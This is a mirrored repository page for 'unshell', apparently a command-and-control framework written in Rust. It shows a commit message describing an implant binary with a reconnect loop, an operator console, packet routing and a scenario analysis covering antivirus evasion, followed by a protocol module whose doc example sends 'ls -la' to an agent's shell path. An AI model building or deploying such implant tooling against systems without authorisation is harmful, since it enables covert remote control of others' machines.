mirror of
https://github.com/Astatin3/unshell.git
synced 2026-06-08 22:38:01 -06:00
fcb3b2be17
- Write PROTOCOL.md with full wire format spec and 8 real-world scenario
analyses (reconnect, multi-operator, large files, AV evasion, router crash,
malformed packets, future pivoting)
- Rewrite workspace structure:
- unshell lib: protocol types (PacketHeader, TreeRequest/Response,
HandshakeMessage/Ack), Transport trait, TcpTransport, Tree routing
- ush-router: router binary with per-node threads, NodeRegistry with
longest-prefix path matching, packet relay
- ush-payload: implant binary with reconnect loop, module tree, InfoModule
- ush-cli: operator REPL with rustyline, session management, command parser
- Protocol design: two-part rkyv frame [header][payload]; router reads only
header for routing, payload bytes forwarded opaque
- All code documented with doc comments and examples
- Zero warnings, zero errors across entire workspace
- 32 tests pass (unit tests for tree routing, TCP transport, framing,
command parsing, node registry)
41 lines
922 B
Rust
41 lines
922 B
Rust
//! # Protocol Module
|
|
//!
|
|
//! All wire types used by the UnShell protocol.
|
|
//!
|
|
//! ## Module layout
|
|
//!
|
|
//! ```text
|
|
//! protocol/
|
|
//! mod.rs ← you are here; re-exports everything
|
|
//! types.rs ← PacketHeader, TreeRequest, TreeResponse, Handshake*
|
|
//! content.rs ← content-type string constants
|
|
//! ```
|
|
//!
|
|
//! ## Quick start
|
|
//!
|
|
//! ```rust
|
|
//! use unshell::protocol::{
|
|
//! PacketHeader, PacketType,
|
|
//! TreeRequest, RequestType,
|
|
//! content,
|
|
//! };
|
|
//!
|
|
//! let header = PacketHeader {
|
|
//! dst_path: "/agents/abc123/shell/exec".into(),
|
|
//! src_path: "/operator/sess1".into(),
|
|
//! packet_type: PacketType::Request,
|
|
//! };
|
|
//!
|
|
//! let request = TreeRequest {
|
|
//! request_id: 1,
|
|
//! request_type: RequestType::CallProcedure,
|
|
//! content_type: content::UTF8_STRING.into(),
|
|
//! data: b"ls -la".to_vec(),
|
|
//! };
|
|
//! ```
|
|
|
|
pub mod content;
|
|
mod types;
|
|
|
|
pub use types::*;
|